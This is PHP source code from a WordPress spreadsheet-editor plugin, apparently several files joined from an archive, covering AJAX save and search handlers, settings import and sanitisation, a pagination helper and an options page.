'; $prepared_data = array( $post_type, '%' . $wpdb->esc_like( $search ) . '%' ); $join = ''; if ( $post_type === 'product' && class_exists( 'WooCommerce' ) ) { $where .= ' OR lookup.sku = %s '; $prepared_data[] = $search; $join = " LEFT JOIN {$wpdb->prefix}wc_product_meta_lookup lookup ON {$wpdb->posts}.ID = lookup.product_id "; } if ( is_numeric( $search ) ) { $where .= ' OR ID = %d '; $prepared_data[] = (int) $search; } $where .= ') '; $sql = apply_filters( 'vg_sheet_editor/find_post_by_name_sql', $wpdb->prepare( "SELECT * FROM $wpdb->posts $join WHERE " . $where . ' LIMIT 10', $prepared_data ), $search, $post_type ); $posts_found = $wpdb->get_results( $sql ); if ( empty( $posts_found ) ) { wp_send_json_error( array( 'message' => __( 'No items found.', 'vg_sheet_editor' ) ) ); } $out = array(); foreach ( $posts_found as $post ) { $out[] = array( 'id' => $post->post_type . '--' . $post->ID, 'text' => $post->post_title . ' ( ID: ' . $post->ID . ', ' . $post->post_type . ' )', 'title' => $post->post_title, ); } wp_send_json_success( array( 'data' => $out ) ); } /** * Controller for saving individual field of post */ function save_single_post_data() { if ( empty( $_REQUEST['post_id'] ) || empty( $_REQUEST['key'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['type'] ) || empty( $_REQUEST['post_type'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); if ( ! VGSE()->helpers->user_can_edit_post_type( $post_type ) ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) ); } $content = wp_kses_post( html_entity_decode( $_REQUEST['content'] ) ); $id = (int) $_REQUEST['post_id']; $key = sanitize_text_field( $_REQUEST['key'] ); $type = sanitize_text_field( $_REQUEST['type'] ); if ( VGSE()->options['be_disable_post_actions'] ) { $post_type = get_post_type( $id ); VGSE()->helpers->remove_all_post_actions( $post_type ); } do_action( 'vg_sheet_editor/save_single_post_data/before', $id, $content, $key, $type ); $result = VGSE()->data_helpers->save_single_post_data( $id, $content, $key, $type ); do_action( 'vg_sheet_editor/save_single_post_data/after', $result, $id, $content, $key, $type ); if ( is_wp_error( $result ) ) { $errors = $result->get_error_messages(); wp_send_json_success( array( 'message' => sprintf( __( 'Error: %s', 'vg_sheet_editor' ), implode( ', ', $errors ) ) ) ); } else { VGSE()->helpers->increase_counter( 'editions' ); VGSE()->helpers->increase_counter( 'processed' ); $title = VGSE()->data_helpers->get_post_data( 'post_title', $id ); wp_send_json_success( array( 'message' => sprintf( __( 'Saved: %s', 'vg_sheet_editor' ), $title ) ) ); } } function search_users_select2() { $_REQUEST['include_ids'] = 'yes'; return $this->search_users(); } /** * Search taxonomy term * @global obj $wpdb */ function search_users() { global $wpdb; if ( empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_type'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $_REQUEST['post_type'] ) ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to search taxonomy terms.', 'vg_sheet_editor' ) ) ); } $search = sanitize_text_field( $_REQUEST['search'] ); $include_ids = ! empty( $_REQUEST['include_ids'] ); if ( $include_ids ) { $rows = $wpdb->get_results( $wpdb->prepare( "SELECT ID,user_login FROM $wpdb->users WHERE user_email LIKE %s OR user_nicename LIKE %s OR user_login LIKE %s OR display_name LIKE %s LIMIT 5", '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%' ) ); $out = wp_list_pluck( $rows, 'user_login', 'ID' ); } else { $out = $wpdb->get_col( $wpdb->prepare( "SELECT user_login FROM $wpdb->users WHERE user_email LIKE %s OR user_nicename LIKE %s OR user_login LIKE %s OR display_name LIKE %s LIMIT 5", '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%' ) ); } wp_send_json_success( array( 'data' => $out ) ); } function search_taxonomy_terms() { global $wpdb; if ( empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_type'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); $is_global_search = ! empty( $_REQUEST['global_search'] ); // Note. The global search is allowed for administrators only if ( ! VGSE()->helpers->verify_nonce_from_request() || ( ! $is_global_search && ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) || ( $is_global_search && ! VGSE()->helpers->user_can_manage_options() ) ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to search taxonomy terms.', 'vg_sheet_editor' ) ) ); } $search = wp_unslash( sanitize_text_field( $_REQUEST['search'] ) ); $output_format = ( isset( $_REQUEST['output_format'] ) ) ? sanitize_text_field( $_REQUEST['output_format'] ) : ''; if ( $is_global_search ) { $taxonomies = get_taxonomies( array( 'show_ui' => true, 'hierarchical' => true, ), 'names' ); } else { $taxonomies = VGSE()->helpers->get_post_type_taxonomies_single_data( $post_type, 'name' ); } if ( ! empty( $_REQUEST['taxonomies'] ) ) { $taxonomies = is_string( $_REQUEST['taxonomies'] ) ? explode( ',', sanitize_text_field( $_REQUEST['taxonomies'] ) ) : array_map( 'sanitize_text_field', $_REQUEST['taxonomies'] ); } if ( empty( $taxonomies ) ) { wp_send_json_error( array( 'message' => __( 'No taxonomies found.', 'vg_sheet_editor' ) ) ); } $taxonomies_in_query_placeholders = implode( ', ', array_fill( 0, count( $taxonomies ), '%s' ) ); $sql = $wpdb->prepare( "SELECT term.slug id,term.name text,tax.taxonomy taxonomy, term.slug slug FROM $wpdb->term_taxonomy as tax JOIN $wpdb->terms as term ON term.term_id = tax.term_id WHERE tax.taxonomy IN ($taxonomies_in_query_placeholders) AND term.name LIKE %s ", array_merge( $taxonomies, array( '%' . $wpdb->esc_like( $search ) . '%' ) ) ); $results = $wpdb->get_results( $sql, ARRAY_A ); if ( ! $results || is_wp_error( $results ) ) { $results = array(); } if ( empty( $output_format ) ) { $output_format = '%taxonomy%--%slug%'; } else { $output_format = sanitize_text_field( $output_format ); } $taxonomies_labels = array(); $out = array(); foreach ( $results as $result ) { if ( ! isset( $taxonomies_labels[ $result['taxonomy'] ] ) ) { $tmp_tax = get_taxonomy( $result['taxonomy'] ); $label = ( $tmp_tax->label === __( 'Tags' ) && $tmp_tax->name !== 'post_tag' ) ? $tmp_tax->name : $tmp_tax->label; $taxonomies_labels[ $result['taxonomy'] ] = $label; } $output_key = strtr( $output_format, array( '%name%' => $result['text'], '%taxonomy%' => $result['taxonomy'], '%slug%' => $result['id'], ) ); $out[] = array( 'id' => $output_key, 'text' => $result['text'] . ' ( ' . $taxonomies_labels[ $result['taxonomy'] ] . ', ' . urldecode( $result['slug'] ) . ' )', ); } wp_send_json_success( array( 'data' => $out ) ); } /** * Enable the spreadsheet editor on some post types */ function save_post_types_setting() { if ( empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_types'] ) || empty( $_REQUEST['append'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to perform this action.', 'vg_sheet_editor' ) ) ); } $post_types = array_map( array( VGSE()->helpers, 'sanitize_table_key' ), $_REQUEST['post_types'] ); $append = sanitize_text_field( $_REQUEST['append'] ); $settings = get_option( VGSE()->options_key, array() ); if ( empty( $settings['be_post_types'] ) ) { $settings['be_post_types'] = array(); } if ( $append === 'yes' ) { $new_post_types = array_unique( array_merge( $settings['be_post_types'], $post_types ) ); } else { $new_post_types = $post_types; } $settings['be_post_types'] = $new_post_types; update_option( VGSE()->options_key, $settings, false ); do_action( 'vg_sheet_editor/quick_setup/post_types_saved/after', $new_post_types ); wp_send_json_success(); } function save_gutenberg_content() { $_REQUEST['content'] = wp_kses_post( $_REQUEST['data'] ); $_REQUEST['post_id'] = (int) $_REQUEST['postId']; $_REQUEST['post_type'] = VGSE()->helpers->sanitize_table_key( $_REQUEST['postType'] ); $_REQUEST['type'] = 'post_data'; $_REQUEST['key'] = 'post_content'; $this->save_single_post_data(); } function get_registered_settings() { $registered_settings_sections = WPSE_Options_Page_Obj()->getSections(); $registered_settings = array(); foreach ( $registered_settings_sections as $section ) { foreach ( $section['fields'] as $field ) { $registered_settings[ $field['id'] ] = $field; } } return $registered_settings; } function _sanitize_general_options( $new_settings ) { $registered_settings = $this->get_registered_settings(); foreach ( $new_settings as $key => $value ) { // If this is not a registered setting, delete it if ( ! isset( $registered_settings[ $key ] ) ) { unset( $registered_settings[ $key ] ); } // Empty values don't need sanitization if ( empty( $value ) ) { continue; } if ( ! isset( $registered_settings[ $key ] ) ) { $new_settings[ $key ] = sanitize_text_field( wp_unslash( $value ) ); continue; } $args = $registered_settings[ $key ]; if ( $args['type'] === 'text' && ! empty( $args['validate'] ) && $args['validate'] === 'numeric' ) { $new_settings[ $key ] = (int) $value; } elseif ( $args['type'] === 'switch' ) { $new_settings[ $key ] = (bool) $value; } elseif ( $args['type'] === 'textarea' ) { $new_settings[ $key ] = wp_strip_all_tags( $value ); } elseif ( $args['type'] === 'editor' ) { $new_settings[ $key ] = wp_kses_post( $value ); } elseif ( $args['type'] === 'media' && ! empty( $args['url'] ) ) { $new_settings[ $key ] = esc_url_raw( $value ); } elseif ( $args['type'] === 'media' && empty( $args['url'] ) ) { $new_settings[ $key ] = intval( $value ); } elseif ( $args['type'] === 'new_select' && ! empty( $args['multi'] ) ) { $new_settings[ $key ] = array_map( 'sanitize_text_field', $value ); } else { $new_settings[ $key ] = sanitize_text_field( wp_unslash( $value ) ); } } return $new_settings; } function _import_settings( $import_settings ) { $exportable_keys = VGSE()->get_exportable_settings_keys(); foreach ( $import_settings as $setting_key => $setting_value ) { $found_in_equal = in_array( $setting_key, $exportable_keys['equal'], true ); $found_in_like = false; foreach ( $exportable_keys['like'] as $like_key ) { if ( strpos( $setting_key, $like_key ) !== false ) { $found_in_like = true; break; } } // Only process the keys found in our list of exportable keys if ( ! $found_in_equal && ! $found_in_like ) { continue; } // Sanitize every option if ( $setting_key === 'vg_sheet_editor' ) { $setting_value = $this->_sanitize_general_options( $setting_value ); } elseif ( in_array( $setting_key, array( 'vgse_welcome_redirect', 'vgse_hide_extensions_popup', 'vgse_dismiss_review_tip', 'vgse_disable_quick_setup', 'vgse_post_type_setup_done' ), true ) ) { $setting_value = (int) $setting_value; } elseif ( in_array( $setting_key, array( 'vgse_column_groups', 'vgse_saved_exports', 'vgse_removed_columns', 'vg_sheet_editor_custom_columns', 'vgse_favorite_search_fields', 'vg_sheet_editor_custom_post_types', 'vgse_saved_searches' ), true ) || $found_in_like ) { $setting_value = VGSE()->helpers->safe_text_only( $setting_value ); } elseif ( $setting_key === 'vgse_columns_manager' && function_exists( 'vgse_columns_manager_init' ) ) { $setting_value = vgse_columns_manager_init()->sanitize_column_settings( $setting_value ); } else { continue; } // We only save the keys found in our list of exportable keys (Line 415), // But we also have this preg_match to be extra safe and never save any option unrelated to our plugin if ( preg_match( '/(vgse_|vg_sheet_editor)/', $setting_key ) ) { update_option( $setting_key, $setting_value ); } } // Disable columns that weren't manually enabled so the columns match after the import if ( isset( $import_settings['vgse_columns_visibility'] ) ) { VGSE()->update_option( 'dont_auto_enable_new_fields', 1 ); } } function set_settings() { if ( empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['settings'] ) || ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error(); } // if this is a settings import if ( ! empty( $_REQUEST['wpse_import_settings'] ) ) { $import_settings = json_decode( html_entity_decode( wp_unslash( $_REQUEST['wpse_import_settings'] ) ), true ); if ( is_array( $import_settings ) ) { // All the data that will be imported is sanitized inside _import_settings() $this->_import_settings( $import_settings ); wp_send_json_success(); } else { wp_send_json_error(); } } else { // If this is a regular save process $new_settings = $this->_sanitize_general_options( $_REQUEST['settings'] ); if ( ! empty( $new_settings ) ) { $options = get_option( VGSE()->options_key ); if ( empty( $options ) || ! is_array( $options ) ) { $options = array(); } $options = wp_parse_args( $new_settings, $options ); update_option( VGSE()->options_key, $options, false ); } wp_send_json_success(); } } function dismiss_review_tip() { if ( empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error(); } update_option( 'vgse_dismiss_review_tip', 1 ); wp_send_json_success(); } function notice_dismiss() { if ( ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error(); } if ( empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error(); } $key = sanitize_text_field( $_REQUEST['key'] ); // Only allow to dismiss notices with keys starting with wpse_hide_ if ( strpos( $key, 'wpse_hide_' ) !== 0 ) { wp_send_json_error(); } update_option( $key, 1 ); wp_send_json_success(); } function init() { // Ajax actions add_action( 'wp_ajax_vgse_delete_row_ids', array( $this, 'delete_row_ids' ) ); add_action( 'wp_ajax_vgse_dismiss_review_tip', array( $this, 'dismiss_review_tip' ) ); add_action( 'wp_ajax_vgse_notice_dismiss', array( $this, 'notice_dismiss' ) ); add_action( 'wp_ajax_vgse_get_taxonomy_terms', array( $this, 'get_taxonomy_terms' ) ); add_action( 'wp_ajax_vgse_load_data', array( $this, 'load_rows' ) ); add_action( 'wp_ajax_vgse_save_gutenberg_content', array( $this, 'save_gutenberg_content' ) ); add_action( 'wp_ajax_vgse_save_data', array( $this, 'save_rows' ) ); add_action( 'wp_ajax_vgse_find_post_by_name', array( $this, 'find_post_by_name' ) ); add_action( 'wp_ajax_vgse_list_post_titles', array( $this, 'list_posts_by_title' ) ); add_action( 'wp_ajax_vgse_save_individual_post', array( $this, 'save_single_post_data' ) ); add_action( 'wp_ajax_vgse_insert_individual_post', array( $this, 'insert_individual_post' ) ); add_action( 'wp_ajax_vgse_search_taxonomy_terms', array( $this, 'search_taxonomy_terms' ) ); add_action( 'wp_ajax_vgse_find_users_by_keyword', array( $this, 'search_users' ) ); add_action( 'wp_ajax_vgse_find_users_by_keyword_for_select2', array( $this, 'search_users_select2' ) ); add_action( 'wp_ajax_vgse_save_post_types_setting', array( $this, 'save_post_types_setting' ) ); add_action( 'wp_ajax_vgse_set_settings', array( $this, 'set_settings' ) ); } /** * Creates or returns an instance of this class. * * @return Foo A single instance of this class. */ static function get_instance() { if ( ! self::$instance ) { self::$instance = new WP_Sheet_Editor_Ajax(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WP_Sheet_Editor_Ajax_Obj' ) ) { function WP_Sheet_Editor_Ajax_Obj() { return WP_Sheet_Editor_Ajax::get_instance(); } } modules/wp-sheet-editor/inc/pagination-links-generator.php000064400000007153147600365160017767 0ustar00%d', $pageFormat = '%d', $ellipsis = '…') { // create the list of ranges $ranges = array(array(1, 1 + $context)); self::mergeRanges($ranges, $page - $context, $page + $context); self::mergeRanges($ranges, $numberOfPages - $context, $numberOfPages); // initialise the list of links $links = array(); // loop over the ranges foreach ($ranges as $range) { // if there are preceeding links, append the ellipsis if (count($links) > 0) $links[] = $ellipsis; // merge in the new links $links = array_merge( $links, self::createLinks($range, $page, $linkFormat, $pageFormat)); } // return the links return implode(' ', $links); } /* Merges a new range into a list of ranges, combining neighbouring ranges. * The parameters are: * * $ranges - the list of ranges * $start - the start of the new range * $end - the end of the new range */ private static function mergeRanges(&$ranges, $start, $end) { // determine the end of the previous range $endOfPreviousRange = & $ranges[count($ranges) - 1][1]; // extend the previous range or add a new range as necessary if ($start <= $endOfPreviousRange + 1) { $endOfPreviousRange = $end; } else { $ranges[] = array($start, $end); } } /* Create the links for a range. The parameters are: * * $range - the range * $page - the current page * $linkFormat - the format for links * $pageFormat - the format for the current page */ private static function createLinks($range, $page, $linkFormat, $pageFormat) { // initialise the list of links $links = array(); // loop over the pages, adding their links to the list of links for ($index = $range[0]; $index <= $range[1]; $index ++) { $links[] = sprintf( ($index == $page ? $pageFormat : $linkFormat), $index, $index); } // return the array of links return $links; } } }modules/wp-sheet-editor/inc/options-init.php000064400000117074147600365160015174 0ustar00sections['speed'] = array( 'icon' => 'el-icon-cogs', 'title' => __( 'Speed and performance', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'be_posts_per_page', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Load rows faster: Number of rows to load per batch', 'vg_sheet_editor' ), 'desc' => __( 'We use pagination to use few server resources. We load 40 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.', 'vg_sheet_editor' ), 'default' => 40, ), array( 'id' => 'export_page_size', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Export rows faster: Number of rows to export per batch', 'vg_sheet_editor' ), 'desc' => __( 'Here you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batch', 'vg_sheet_editor' ), 'default' => 100, ), array( 'id' => 'be_posts_per_page_save', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Save changes faster: Number of rows to save per batch', 'vg_sheet_editor' ), 'desc' => __( 'When you edit a large amount of posts in the spreadsheet editor we can\'t save all the changes at once, so we do it in batches. The recommended value is 8 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the number', 'vg_sheet_editor' ), 'default' => 8, ), array( 'id' => 'delete_posts_per_page', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Delete posts faster: Number of posts to delete per batch', 'vg_sheet_editor' ), 'desc' => __( 'When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500', 'vg_sheet_editor' ), 'default' => 500, ), ), ); $this->sections['productivity'] = array( 'icon' => 'el-icon-cogs', 'title' => __( 'Increase Productivity', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'enable_pagination', 'type' => 'switch', 'title' => __( 'Use pagination in the spreadsheet?', 'vg_sheet_editor' ), 'desc' => __( 'By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_automatic_loading_rows', 'type' => 'switch', 'title' => __( 'Disable the automatic loading of rows?', 'vg_sheet_editor' ), 'desc' => __( 'When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_full_screen_mode_on', 'type' => 'switch', 'title' => __( 'Disable the full screen mode?', 'vg_sheet_editor' ), 'desc' => __( 'When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_load_items_on_scroll', 'type' => 'switch', 'title' => __( 'Load more items on scroll?', 'vg_sheet_editor' ), 'desc' => __( 'When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.', 'vg_sheet_editor' ), 'default' => true, ), array( 'id' => 'be_fix_columns_left', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Freeze first columns at the left side?', 'vg_sheet_editor' ), 'desc' => __( 'Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columns', 'vg_sheet_editor' ), 'default' => 2, ), array( 'id' => 'enable_auto_saving', 'type' => 'switch', 'title' => __( 'Enable auto saving?', 'vg_sheet_editor' ), 'desc' => __( 'Turn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.', 'vg_sheet_editor' ), 'default' => false, ), ), ); if ( VGSE()->helpers->has_paid_addon_active() && ! VGSE()->helpers->is_editor_page() ) { $enabled_sheets = VGSE()->helpers->get_enabled_post_types(); foreach ( $enabled_sheets as $sheet_key ) { $provider = VGSE()->helpers->get_data_provider( $sheet_key ); if ( ! $provider->is_post_type ) { continue; } $this->sections['productivity']['fields'][] = array( 'id' => 'default_sortby_' . $sheet_key, 'type' => 'new_select', 'title' => VGSE()->helpers->get_post_type_label( $sheet_key ) . ': ' . __( 'Default sort order', 'vg_sheet_editor' ), 'desc' => __( 'We\'ll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it\'s better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don\'t have any value to sort them accurately.', 'vg_sheet_editor' ), 'options' => function () use ( $sheet_key ) { return VGSE()->helpers->get_sheet_sort_options( $sheet_key ); }, 'default' => 'DESC:post_date', 'class_name' => 'select2', ); } } $this->sections['solution_errors'] = array( 'icon' => 'el-icon-cogs', 'title' => __( 'Solution to weird errors', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'be_columns_limit', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Columns limit', 'vg_sheet_editor' ), 'desc' => __( 'We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310', 'vg_sheet_editor' ), 'default' => 310, ), array( 'id' => 'be_taxonomy_terms_separator', 'type' => 'text', 'title' => __( 'Separator for taxonomy terms cells', 'vg_sheet_editor' ), 'desc' => __( 'Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separator', 'vg_sheet_editor' ), 'default' => ',', ), array( 'id' => 'be_timeout_between_batches', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'How long do you want to wait between batches? (in seconds)', 'vg_sheet_editor' ), 'desc' => __( 'When you edit a large amount of posts in the spreadsheet editor we can\'t save all the changes at once, so we do it in batches. But your server can\'t handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batch', 'vg_sheet_editor' ), 'default' => 6, ), array( 'id' => 'be_disable_post_actions', 'type' => 'switch', 'title' => __( 'Disable post actions while saving?', 'vg_sheet_editor' ), 'desc' => __( 'Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_suspend_object_cache_invalidation', 'type' => 'switch', 'title' => __( 'Suspend object cache invalidation?', 'vg_sheet_editor' ), 'desc' => __( 'Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.', 'vg_sheet_editor' ), 'default' => ! defined( 'WP_CACHE' ) || ! WP_CACHE, ), array( 'id' => 'be_disable_wpautop', 'type' => 'switch', 'title' => __( 'Disable the replacement of line breaks with p tags?', 'vg_sheet_editor' ), 'desc' => __( 'When the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_data_prefetch', 'type' => 'switch', 'title' => __( 'Deactivate the data prefetch', 'vg_sheet_editor' ), 'desc' => __( 'When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_post_meta_prefetch', 'type' => 'switch', 'title' => __( 'Deactivate the prefetch of post meta values', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_post_terms_prefetch', 'type' => 'switch', 'title' => __( 'Deactivate the prefetch of post taxonomies values', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_prefetch_batch_size', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Batch sizes used for the data prefetch', 'vg_sheet_editor' ), 'desc' => __( 'By default, we prefetch in groups of 5000 rows. You can reduce this number if your server gets overloaded during the prefetch.', 'vg_sheet_editor' ), ), array( 'id' => 'keys_for_infinite_serialized_handler', 'type' => 'text', 'title' => __( 'Meta keys that should use the infinite serialized fields handler', 'vg_sheet_editor' ), 'desc' => __( 'This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.', 'vg_sheet_editor' ), ), array( 'id' => 'blacklist_columns', 'type' => 'text', 'title' => __( 'Blacklist these columns', 'vg_sheet_editor' ), 'desc' => __( 'Enter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheet', 'vg_sheet_editor' ), ), array( 'id' => 'fix_utf8_editor_settings', 'type' => 'switch', 'title' => __( 'Enable the utf8 encoding fix', 'vg_sheet_editor' ), 'desc' => __( 'This might help if the spreadsheet doesnt load or it loads empty.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'remote_image_timeout', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Maximum number of seconds to download external images?', 'vg_sheet_editor' ), 'desc' => __( 'Default: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelled', 'vg_sheet_editor' ), ), array( 'id' => 'maximum_advanced_filters_fields', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Maximum meta fields displayed in the advanced filters dropdown', 'vg_sheet_editor' ), 'desc' => __( 'We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.', 'vg_sheet_editor' ), 'default' => 1000, ), array( 'id' => 'allow_line_breaks_export_import', 'type' => 'switch', 'title' => __( 'Allow line breaks in values during the export and import process', 'vg_sheet_editor' ), 'desc' => __( 'We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'allow_html_in_post_titles', 'type' => 'switch', 'title' => __( 'Allow safe html in post titles?', 'vg_sheet_editor' ), 'desc' => __( 'We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etc', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'save_every_term_in_hierarchy', 'type' => 'switch', 'title' => __( 'Attach every taxonomy term in the hierarchy to the posts?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this option', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'run_save_post_action_always', 'type' => 'switch', 'title' => __( 'Always run the save_post action after any post row is edited?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren\'t detecting our changes or webhooks aren\'t running.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'meta_fields_scan_limit', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Maximum number of unique meta fields to scan?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we scan a maximum of 2500 unique meta keys to generate columns for the spreadsheet editor. But if you have a huge meta table, we might miss some meta fields and not show some columns. You can increase the number to scan more fields, which will help to display some missing columns, but it will use more server resources. The scan happens every 30 minutes on small sites, or weekly on medium-large sites.', 'vg_sheet_editor' ), 'default' => 2500, ), array( 'id' => 'external_files_accept_url_parameters', 'type' => 'switch', 'title' => __( 'Don\'t remove query parameters from external URLs when saving files?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we remove the query strings from external URLs when importing external files, this improves the cache hits and helps us avoid downloading duplicate images that have slight differences in the URLs. For example, site.com/logo.png?m=1 and site.com/logo.png?m=2 are considered the same by default and we save it as site.com/logo.png. But this can break the saving of dynamic images where the parameters change the content of the image, for example, site.com/image-generator.php?image=1 can return a different image than site.com/image-generator.php?image=2. You can activate this option to make the saving of external images accept URL parameters.', 'vg_sheet_editor' ), 'default' => false, ), ), ); $roles = wp_roles(); $this->sections['customize_features'] = array( 'icon' => 'el-icon-cogs', 'title' => __( 'Customize features', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'enable_spreadsheet_views_restrictions', 'type' => 'switch', 'title' => __( 'Enable option to restrict spreadsheet views per user?', 'vg_sheet_editor' ), 'desc' => __( 'If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.', 'vg_sheet_editor' ), 'default' => false, ), array( 